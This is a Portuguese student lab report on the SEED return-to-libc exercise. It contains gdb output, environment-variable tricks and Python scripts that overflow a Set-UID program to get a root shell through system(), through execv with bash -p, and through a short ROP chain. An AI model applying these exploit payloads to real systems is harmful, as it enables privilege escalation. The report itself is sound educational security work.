



Universidade do Minho

Escola de Engenharia

Mestrado em Engenharia Cibersegurança

Unidade Curricular de Segurança de Sistemas de Computação

Ano Letivo de 2025/2026

Matilde Oliveira
pg60283

Tiago Teixeira
pg58713

Olavo Carreira
pg60286

Dezembro, 2025

SSC

Índice

1. Task 1: Finding out the Addresses of libc Functions	1
2. Task 2: Putting the shell string in the memory	2
3. Task 3: Launching the Attack	4
4. Task 4: Defeat Shell's countermeasure	7
5. Task 5 (Optional): Return-Oriented Programming	10

1. Task 1: Finding out the Addresses of libc Functions

O objetivo desta tarefa consistiu em determinar os endereços das funções `system()` e `exit()` da biblioteca `libc`, que serão posteriormente utilizados para construir o ataque `return-to-libc`. Em Linux, quando um programa é executado, a biblioteca `libc` é carregada na memória do processo. Com a randomização de endereços (ASLR) desativada, a `libc` é sempre carregada no mesmo endereço de memória para o mesmo programa, permitindo descobrir e utilizar endereços de funções específicas.

Após compilar o programa vulnerável `retlib` como `Set-UID root` e criar um ficheiro `badfile` vazio (necessário para o programa executar), utilizou-se o `gdb` para descobrir os endereços necessários. Dentro do `gdb`, executaram-se os comandos `break main` para colocar um breakpoint, `run` para executar o programa (essencial para carregar a `libc` em memória), e depois `p system` e `p exit` para obter os endereços das funções.

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e0c360 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7dfeec0 <exit>
```

Figura 1: Output do `gdb` mostrando endereços `system` e `exit`

Obtiveram-se os seguintes resultados: o endereço da função `system()` é `0xf7e0c360` e o endereço da função `exit()` é `0xf7dfeec0`. É importante notar que é necessário executar o programa dentro do `gdb` antes de consultar os endereços, caso contrário a `libc` não está carregada em memória. Com o ASLR desativado, estes endereços permanecem constantes entre diferentes execuções do mesmo programa, o que é fundamental para o ataque `return-to-libc` funcionar de forma consistente nas tarefas seguintes.

2. Task 2: Putting the shell string in the memory

O objetivo desta task consistiu em colocar a string “/bin/sh” na memória e descobrir o seu endereço, para posteriormente passar como argumento à função system() no ataque return-to-libc. A estratégia utilizada baseia-se no uso de variáveis de ambiente, uma vez que quando um programa é executado a partir de uma shell, todas as variáveis de ambiente exportadas ficam disponíveis na memória do processo filho, criando assim um método simples e eficaz para inserir dados arbitrários na memória do processo alvo.

Começou-se por criar a variável de ambiente MY_SHELL com o valor “/bin/sh” através do comando export MY_SHELL=/bin/sh. Para verificar que a variável foi criada corretamente, utilizou-se o comando env | grep MY_SHELL, que confirmou a existência da variável no ambiente.

```
[12/14/25]seed@VM:~/.../Labsetup$ env | grep MY_SHELL
MY_SHELL=/bin/sh
```

Figura 2: Criação e verificação da variável de ambiente MY_SHELL

De seguida, criou-se um programa auxiliar prtenv.c que utiliza a função getenv() para obter o endereço da variável MY_SHELL na memória. O código do programa é simples: chama getenv(“MY_SHELL”) para obter o ponteiro para a string e imprime o seu endereço em formato hexadecimal. É crucial compilar este programa com a flag -m32 para garantir compatibilidade de 32-bit com o programa retlib, usando o comando gcc -m32 -o prtenv prtenv.c.

```
[12/14/25]seed@VM:~/.../Labsetup$ ./prtenv
ffffd465
```

Figura 3: Criação e verificação da variável de ambiente MY_SHELL

Ao executar o programa prtenv múltiplas vezes, verificou-se que o endereço obtido era sempre o mesmo: 0xffffd465. Esta consistência deve-se à desativação do ASLR realizada anteriormente, confirmando que o endereço permanece estável entre execuções. Um aspeto particularmente importante desta abordagem é que o nome do programa prtenv tem exatamente 6 caracteres, o mesmo comprimento que retlib. Este detalhe não é arbitrário: o comprimento do nome do programa afeta a posição das variáveis de ambiente na stack, porque o nome do programa é armazenado no topo da stack junto com os argumentos e variáveis de ambiente. Ao manter o mesmo comprimento de nome, garante-se que quando executarmos retlib, a string “/bin/sh” estará exatamente no mesmo endereço que descobrimos com prtenv.

```
[12/14/25] seed@VM:~/.../Labsetup$ ./prtenv
ffffd465
[12/14/25] seed@VM:~/.../Labsetup$ ./prtenv
ffffd465
[12/14/25] seed@VM:~/.../Labsetup$ ./prtenv
ffffd465
[12/14/25] seed@VM:~/.../Labsetup$ ./prtenv
ffffd465
[12/14/25] seed@VM:~/.../Labsetup$ ./prtenv
ffffd465
[12/14/25] seed@VM:~/.../Labsetup$ ./prtenv
ffffd465
[12/14/25] seed@VM:~/.../Labsetup$ ./prtenv
ffffd465
[12/14/25] seed@VM:~/.../Labsetup$ ./prtenv
ffffd465
```

Figura 4: Múltiplas execuções do prtenv confirmando que o endereço é consistente

Com o ASLR desativado e usando programas com nomes de comprimento idêntico, o endereço da variável de ambiente MYSHELL permanece constante e previsível.

3. Task 3: Launching the Attack

Nesta tarefa procedeu-se à construção e execução do ataque return-to-libc, explorando a vulnerabilidade de buffer overflow presente no programa retlib. O objetivo foi redirecionar o fluxo de execução do programa para funções da biblioteca libc, nomeadamente system() e exit(), permitindo a execução de comandos com privilégios de root.

Para esse efeito, foi criado o ficheiro badfile recorrendo a um script em Python (badfile.py), responsável por gerar uma sequência de bytes cuidadosamente posicionada na stack, de modo a sobrescrever o endereço de retorno da função vulnerável bof().

O ficheiro badfile foi inicializado com 300 bytes, garantindo que não existem bytes nulos que interrompam a cópia efetuada pela função strcpy(). Em seguida, foram inseridos três endereços críticos em posições específicas do buffer, isto é, o endereço da função system(), o endereço da função exit() e o endereço da string “/bin/sh”, previamente colocada em memória através de uma variável de ambiente.

Dado que os valores diferiram de máquina para máquina, procedemos à definição de diferentes valores para as variáveis. Para as variáveis system_addr e exit_addr recorreu-se à seguinte imagem:

```
gdb-peda$ p system
$1 = {<text variable, no debug info>} 0xf7e12420 <system>
gdb-peda$ p exit
$2 = {<text variable, no debug info>} 0xf7e04f80 <exit>
```

Figura 5: Criação do ficheiro badfile

Os valores da imagem dão o Frame Pointer(EBP): 0xffffce03 e o Buffer Address: 0xffffcdf0. Deste modo, conseguimos calcular o offset através de (Frame Pointer - Buffer) + 4 bytes, que é de 0x18 + 4 bytes, ou seja, 28 bytes.

```
[12/26/25] seed@VM:~$ ./retlib
Address of input[] inside main(): 0xffffce20
Input size: 0
Address of buffer[] inside bof(): 0xffffcdf0
Frame Pointer value inside bof(): 0xffffce08
(^_^)(^_^) Returned Properly (^_^)(^_^)
```

Figura 6: Valores do Frame Pointer e do Buffer Address

Assim, o Y (System Address) é de 28, o Z (Exit Address) é de 32, 4 bytes depois do System e o X (Endereço do /bin/sh) é de 36, 4 bytes depois de Exit. Já o sh_addr é fruto do ./prtenv, que é de 0xffffd477.

```
GNU nano 4.8 badfile.py
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 36
sh_addr = 0xffffd477
# The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 28
system_addr = 0xf7e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
Z = 32
exit_addr = 0xf7e04f80
# The address of exit()
content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

[Read 18 lines]

^G Get Help	^O Write Out	^W Where Is	^K Cut Text	^J Justify
^X Exit	^R Read File	^_ Replace	^U Paste Text	^T To Spell

Figura 7: Criação do ficheiro badfile

Após a geração do ficheiro badfile.py, o programa foi executado. Durante a execução, foram apresentados os endereços relevantes da stack, nomeadamente o endereço do buffer local e o valor do frame pointer, confirmando que o layout da stack era consistente com os offsets utilizados. O ataque foi bem-sucedido, tendo sido obtida uma shell com privilégios de root, conforme verificado através do comando whoami, cujo resultado foi root.

```
[12/26/25] seed@VM:~$ python3 badfile.py
[12/26/25] seed@VM:~$ ./retlib
Address of input[] inside main(): 0xfffffce10
Input size: 300
Address of buffer[] inside bof(): 0xffffcde0
Frame Pointer value inside bof(): 0xffffcdf8
# whoami
root
#
```

Figura 8: Ataque return-to-libc

De seguida, foi testada a primeira variação do ataque. Neste ataque removeu-se a função exit(). Sendo assim, deixou de existir um endereço de retorno válido após a execução da função system().

```
GNU nano 4.8 badfile.py
#!/usr/bin/env python3
import sys
# Fill content with non-zero values
content = bytearray(0xaa for i in range(300))
X = 36
sh_addr = 0xffffd477
# The address of "/bin/sh"
content[X:X+4] = (sh_addr).to_bytes(4,byteorder='little')
Y = 28
system_addr = 0xf7e12420 # The address of system()
content[Y:Y+4] = (system_addr).to_bytes(4,byteorder='little')
#Z = 32
#exit_addr = 0xffffffff
# The address of exit()
#content[Z:Z+4] = (exit_addr).to_bytes(4,byteorder='little')
# Save content to a file
with open("badfile", "wb") as f:
    f.write(content)
```

Figura 9: Alteração do ficheiro badfile.py

Após a execução do programa retlib com esta versão modificada do badfile, observou-se que, apesar de a função `system()` ser invocada corretamente, o programa terminou com um erro de segmentação (segmentation fault). Este comportamento ocorre porque, após a execução de `system()`, o programa tenta retornar para um endereço inválido presente na stack, uma vez que não foi fornecido um endereço de retorno legítimo. Ainda assim, esta experiência demonstra que a chamada a `exit()` não é estritamente necessária para a execução do comando, mas é fundamental.

```
[12/26/25]seed@VM:~$ python3 badfile.py
[12/26/25]seed@VM:~$ ./retlib
Address of input[] inside main(): 0xfffffce10
Input size: 300
Address of buffer[] inside bof(): 0xffffcde0
Frame Pointer value inside bof(): 0xffffcdf8
# exit
Segmentation fault
[12/26/25]seed@VM:~$
```

Figura 10: Ataque variação, ocultando a função `exit()`

Na segunda variação do ataque, foi alterado o nome do binário vulnerável de `retlib` para um nome diferente, mantendo inalterado o conteúdo do ficheiro `badfile`. Esta alteração teve impacto direto no layout da stack, uma vez que o comprimento do nome do programa influencia a disposição das variáveis de ambiente e, conseqüentemente, os endereços em memória.

Quando o ataque foi executado sem recalcular os offsets e endereços utilizados, verificou-se que o ataque deixou de funcionar corretamente. Este resultado confirma que o ataque `return-to-libc` é altamente dependente da previsibilidade do layout da memória e que pequenas alterações, como o nome do executável, podem invalidar os endereços utilizados, tornando o exploit ineficaz.

```
[12/26/25]seed@VM:~$ nano newretlib.c
[12/26/25]seed@VM:~$ python3 badfile.py
[12/26/25]seed@VM:~$ ./newretlib
bash: ./newretlib: No such file or directory
[12/26/25]seed@VM:~$
```

Figura 11: Ataque variação, alteração do nome do binário

4. Task 4: Defeat Shell's countermeasure

À semelhança da Task 3, o objetivo desta tarefa foi a obtenção de uma shell com privilégios de root. No entanto, o desafio adicional consistiu em contornar as medidas de segurança implementadas nas shells modernas, como o /bin/bash e /bin/dash.

É importante notar que estas shells, ao detetarem que estão a ser executadas num processo Set-UID, revogam automaticamente os privilégios elevados por segurança. Para contornar esta proteção, a estratégia adotada foi invocar diretamente o /bin/bash com a flag -p privileged, que força a manutenção dos privilégios. Dado que a função system() não permite passar argumentos de forma controlada para este fim, foi necessário utilizar a função execv().

```
[12/26/25] seed@VM:~$ sudo ln -sf /bin/dash /bin/sh
[12/26/25] seed@VM:~$ export MYSHELL=/bin/bash
[12/26/25] seed@VM:~$ export ARG2=-p
[12/26/25] seed@VM:~$
```

Figura 12: Definição de variáveis de ambiente

Para simular a proteção real, ligou-se o /bin/sh ao /bin/dash, que possui a contramedida ativa, e definiram-se as variáveis de ambiente necessárias para o ataque (MYSHELL e ARG2):

```
gdb-peda$ p execv
$1 = {<text variable, no debug info> 0xf7e994b0 <execv>}
```

Figura 13: Valor do endereço execv

A construção do ataque Return-to-Lib utilizando execv requer endereços de memória específicos. Primeiramente, identificou-se o endereço da função execv() utilizando o comando p execv dentro do depurador GDB:

```
GNU nano 4.8 prtenv.c
#include <stdio.h>
#include <stdlib.h>

void main(){
    char* shell = getenv("MYSHELL");
    char* arg2 = getenv("ARG2");
    if (shell) printf("MYSHELL: %x\n", (unsigned int)shell);
    if (arg2) printf("ARG2: %x\n", (unsigned int)arg2);
}
```

Figura 14: Alteração do ficheiro prtenv.c

De seguida, foi necessário obter os endereços das strings que servirão de argumentos. Para tal, alterou-se o ficheiro prtenv.c para imprimir os endereços das variáveis MYSHELL e ARG2:

```
GNU nano 4.8 prtenv.c
#include <stdio.h>
#include <stdlib.h>

void main(){
    char* shell = getenv("MYSHELL");
    char* arg2 = getenv("ARG2");
    if (shell) printf("MYSHELL: %x\n", (unsigned int)shell);
    if (arg2) printf("ARG2: %x\n", (unsigned int)arg2);
}
```

Figura 15: Alteração do código fonte do prtenv.c

Após a compilação e execução, obtiveram-se os seguintes endereços na stack:

- MYSHELL (/bin/bash): 0xffffd46d
- ARG2 (-p): 0xffffd64c

```
[12/26/25]seed@VM:~$ nano prtenv.c
[12/26/25]seed@VM:~$ gcc -m32 prtenv.c -o prtenv
[12/26/25]seed@VM:~$ ./prtenv
MYSHELL: fffffd46d
ARG2:      fffffd64c
[12/26/25]seed@VM:~$
```

Figura 16: Compilação do ficheiro prtenv.c

Com base nos cálculos de offset da tarefa anterior e nos novos endereços recolhidos, o script badfile.py foi configurado para estruturar a stack para a chamada `execv(comando, argv[])`.

A estrutura montada no buffer foi a seguinte:

- Endereço de Retorno (Offset 28): Substituído pelo endereço de `execv` (0xf7e994b0).
- Retorno do `execv` (Offset 32): Endereço de `exit` (0xf7e04f80), para uma saída limpa.
- 1.º Argumento (Offset 36): Ponteiro para a string “/bin/bash” (0xffffd46d).
- 2.º Argumento (Offset 40): Ponteiro para o array de argumentos `argv[]`.

Como o array de argumentos necessário para o `execv` ({bash, -p, NULL}) não existia na memória, este foi construído manualmente dentro do próprio buffer, numa posição segura logo após a estrutura da chamada (Offset 44). O endereço deste array foi calculado como `input_addr + 44`.

O conteúdo do array foi definido como:

1. `argv[0]`: Endereço de “/bin/bash” (0xffffd46d).
2. `argv[1]`: Endereço de “-p” (0xffffd64c).
3. `argv[2]`: NULL (4 bytes de zeros), delimitador obrigatório do array.

```

GNU nano 4.8                                badfile.py                                Modified
#!/usr/bin/python3
import sys
# Buffer inicial
content = bytearray(0xaa for i in range(300))
# Input Address do ./retlib
input_addr = 0xffffce00
# Endereços das strings do ./prtenv
bash_addr = 0xffffd46d # MYSHELL (/bin/bash)
arg2_addr = 0xffffd64c # ARG2 (-p)
execv_addr = 0xf7e994b0 # 0 teu novo EXECV
exit_addr = 0xf7e04f80 # EXIT

# Onde o array fica (44 bytes após o início do input)
argv_array_addr = input_addr + 44

# Y = 28 -> Endereço da função execv
Y = 28
content[Y:Y+4] = (execv_addr).to_bytes(4, byteorder='little')

# Z = 32 -> Endereço de retorno (exit)
Z = 32
content[Z:Z+4] = (exit_addr).to_bytes(4, byteorder='little')

# X = 36 -> 1º Argumento: "/bin/bash" (Comando)
X = 36
content[X:X+4] = (bash_addr).to_bytes(4, byteorder='little')

# W = 40 -> 2º Argumento: Endereço do Array (argv)
# 0 execv PRECISA disto para passar o "-p"
W = 40
content[W:W+4] = (argv_array_addr).to_bytes(4, byteorder='little')
# Construir o array argv na memória
# argv[0] = Endereço do bash
content[44:48] = (bash_addr).to_bytes(4, byteorder='little')
# argv[1] = Endereço do -p
content[48:52] = (arg2_addr).to_bytes(4, byteorder='little')
# argv[2] = NULL (Terminador do array)
content[52:56] = (0).to_bytes(4, byteorder='little')
# Guardar ficheiro
with open("badfile", "wb") as f:
    f.write(content)

```

Figura 17: Alteração do ficheiro badfile.py

Após gerar o ficheiro badfile e executar o programa vulnerável ./retlib, o ataque foi bem-sucedido, como podemos verificar pelo prompt da shell que se alterou para bash-5.0 e o comando whoami que retornou root.

```

[12/26/25]seed@VM:~$ ./retlib
Address of input[] inside main(): 0xffffce00
Input size: 300
Address of buffer[] inside bof(): 0xffffcdd0
Frame Pointer value inside bof(): 0xffffcde8
bash-5.0# whoami
root
bash-5.0# exit
exit
[12/26/25]seed@VM:~$

```

Figura 18: Ataque bem sucedido

Assim, confirma-se que a execução de /bin/bash -p via execv permitiu manter os privilégios de root, derrotando assim a contramedida de segurança da shell.

5. Task 5 (Optional): Return-Oriented Programming

O objetivo desta tarefa (opcional) foi introduzir o conceito de Return-Oriented Programming (ROP). A meta consistia em encadear a execução de uma função não utilizada no programa, denominada `foo()`, repetidamente antes de executar o payload final que garante o acesso root (desenvolvido na Tarefa 4). Especificamente, o ataque foi desenhado para invocar a função `foo()` dez vezes consecutivas e, apenas após essa sequência, invocar a função `execv()` para abrir a shell. A técnica baseia-se no facto de a função `foo()` não receber argumentos. Quando `foo()` termina a sua execução, a instrução `RET` retira o próximo endereço do topo da stack e salta para o mesmo. Assim, ao empilhar o endereço de `foo()` várias vezes seguidas na memória, cria-se uma cadeia de execução onde cada retorno leva à próxima chamada da função.

Para concretizar este ataque, foi primeiramente imperativo identificar o endereço de memória real da função alvo. Através da utilização do depurador GDB, e após garantir que o executável (compilado como Position Independent Executable - PIE) estava devidamente carregado em memória com a execução iniciada, determinou-se que a função `foo()` residia no endereço `0x565562b0`. Munido deste endereço, procedeu-se à adaptação do script de exploração (`badfile.py`) para reconfigurar a estrutura do buffer de ataque.

```
gdb-peda$ p foo
$1 = {<text variable, no debug info>} 0x565562b0 <foo>
```

Figura 19: Identificação do endereço de memória da função `foo`

A estratégia de construção do exploit envolveu a criação de uma cadeia ROP iniciada na posição de retorno da função vulnerável (`bof`), correspondente ao offset 28. Neste local, inseriu-se uma sequência de dez cópias do endereço da função `foo()`. Dado que cada endereço de memória ocupa 4 bytes, esta cadeia preencheu um total de 40 bytes na stack (do offset 28 ao 68). Consequentemente, a estrutura responsável pela invocação da função `execv()` foi deslocada para o offset 68. Desta forma, assegurou-se que o processador executaria a função `foo()` dez vezes e, apenas no retorno da décima chamada, encontraria o endereço de `execv()` para finalmente abrir a linha de comandos. Adicionalmente, o array de argumentos e as strings necessárias foram realocados para uma posição de memória mais elevada (offset 120) para evitar que fossem sobrescritos pela cadeia de endereços.

```

GNU nano 4.8 badfile.py Modified
#!/usr/bin/python3
import sys
# Buffer inicial
content = bytearray(0xaa for i in range(300))
# Input Address do ./retlib
input_addr = 0xffffce00
# Endereços das strings do ./prtenv
bash_addr = 0xffffd46d # MYSHELL (/bin/bash)
arg2_addr = 0xffffd64c # ARG2 (-p)
execv_addr = 0xf7e994b0
exit_addr = 0xf7e04f80 # EXIT
foo_addr = 0x565562b0
argv_array_offset = 120
argv_array_addr = input_addr + argv_array_offset
start_offset = 28
for i in range(10):
    # Escreve foo_addr em 28, 32, 36, 40, ..., 64
    offset = start_offset + (i * 4)
    content[offset : offset+4] = (foo_addr).to_bytes(4, byteorder='little')

execv_offset = start_offset + (10 * 4)
# A: Endereço do execv
content[execv_offset : execv_offset+4] = (execv_addr).to_bytes(4, byteorder='little')
# B: Endereço de Exit (Retorno do execv)
content[execv_offset+4 : execv_offset+8] = (exit_addr).to_bytes(4, byteorder='little')
# C: Argumento 1 ("/bin/bash")
content[execv_offset+8 : execv_offset+12] = (bash_addr).to_bytes(4, byteorder='little')
# D: Argumento 2 (Endereço do Array)
content[execv_offset+12 : execv_offset+16] = (argv_array_addr).to_bytes(4, byteorder='little')
#-----
# argv[0]
content[argv_array_offset : argv_array_offset+4] = (bash_addr).to_bytes(4, byteorder='little')
# argv[1]
content[argv_array_offset+4 : argv_array_offset+8] = (arg2_addr).to_bytes(4, byteorder='little')
# argv[2] (NULL)
content[argv_array_offset+8 : argv_array_offset+12] = (0).to_bytes(4, byteorder='little')
# Guardar ficheiro
with open("badfile", "wb") as f:
    f.write(content)

```

Figura 20: Alteração do ficheiro badfile.py

Após a execução do exploit gerado, o ataque foi bem-sucedido. Conforme evidenciado na saída do terminal, o programa imprimiu a mensagem “Function foo() is invoked X times” exatamente dez vezes (de 1 a 10). Imediatamente após a décima invocação, o fluxo foi desviado para a função execv, resultando na obtenção de uma shell com privilégios de superutilizador bash-5.0

```

[12/26/25]seed@VM:~$ python3 badfile.py
[12/26/25]seed@VM:~$ ./retlib
Address of input[] inside main(): 0xffffce00
Input size: 300
Address of buffer[] inside bof(): 0xffffcdd0
Frame Pointer value inside bof(): 0xffffcde8
Function foo() is invoked 1 times
Function foo() is invoked 2 times
Function foo() is invoked 3 times
Function foo() is invoked 4 times
Function foo() is invoked 5 times
Function foo() is invoked 6 times
Function foo() is invoked 7 times
Function foo() is invoked 8 times
Function foo() is invoked 9 times
Function foo() is invoked 10 times
bash-5.0# █

```

Figura 21: Ataque bem sucedido

Este exercício demonstrou com sucesso como é possível manipular o fluxo de controlo de um programa para executar sequências arbitrárias de código existente na memória, o princípio fundamental dos ataques ROP.